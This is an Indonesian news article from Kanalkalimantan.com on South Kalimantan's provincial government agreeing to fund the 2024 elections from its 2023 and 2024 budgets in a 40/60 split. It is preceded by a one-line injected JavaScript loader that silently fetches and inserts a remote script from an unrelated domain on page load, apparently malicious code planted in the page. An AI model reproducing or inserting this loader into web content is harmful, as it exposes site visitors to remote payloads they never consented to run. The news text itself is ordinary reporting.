(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemprov Kalsel Samakan Persepsi Terkait Anggaran Pemilu 2024

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi Kalimantan Selatan (Pemprov Kalsel) menghadapi Pemilihan Umum (Pemilu) tahun 2024 menggelar rapat koordinasi sharing anggaran Pemilu/Pilkada serentak tahun 2024 di gedung Idham Chalid, Setdaprov Kalsel, Selasa (28/2/2023) siang.

Pemrpov Kalsel akan mengalokasikan dana dari APBD tahun 2023 dan 2024 dengan pembagian 40 persen tahun pertama dan 60 persen pada tahun kedua.

Sekdaprov Kalsel, Roy Rizali Anwar mengatakan, rapat ini bertujuan untuk menyamakan persepsi bersama antara Pemrpov Kalsel dan KPU Kalsel, KPU kabupaten/kota serta Bawaslu untuk sinergisitas persiapan anggaran Pemilu dan Pilkada serentak tahun 2024 mendatang.

“Dengan adanya kegiatan ini dapat memastikan anggaran harus dibiayai APBD,” ujarnya.

Pemprov Kalsel nantinya akan menggelontorkan 40 persen pada APBD tahun 2023 dan 60 persen dari APBD tahun 2024.

Roy Rizali mengatakan, jika ada kabupaten/kota yang belum menganggarkan, bisa melihat dari mekanisme sesuai edaran Kemendagri RI.

Rapat koordinasi sharing anggaran Pemilu/Pilkada serentak tahun 2024 di gedung Idham Chalid, Setdaprov Kalsel, Selasa (28/2/2023) siang. Foto: Ibnu

“Kita samakan persepsi, sehingga pada saat pelaksanaan, penatausahaan, pertanggungjawaban bisa sesuai ketentuan Pemilu dan Pilkada serentak bisa berjalan serentak dan sukses,” tandasnya.

Sementara itu, Kepala Bidang Politik Badan Kesbangpol Kalsel, Ida Saptika Dewi mengatakan, kegiatan ini memang harus dilaksanakan terkait pendanaan hibah Pemilu dan Pilkada serentak tahun 2024, guna menyepakati antara provinsi dan kabupaten/kota.

“Nantinya tidak ada lagi anggaran yang tercecer berdasarkan kesepakatan itu,” ujarnya.

Untuk sementara, kata Ida, angka nominalnya belum ditetapkan, nanti akan disepakati yang kemudian diajukan dan diverifikasi TAPD Pemprov Kalsel.

“Finalnya (anggaran) belum,” katanya.

Pencairan nantinya 14 hari setelah penandatanganan untuk 40 persen untuk tahun 2023 dan tahun 2024 untuk anggaran 60 persen akan dibayarkan 5 bulan sebelum pemilihan.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie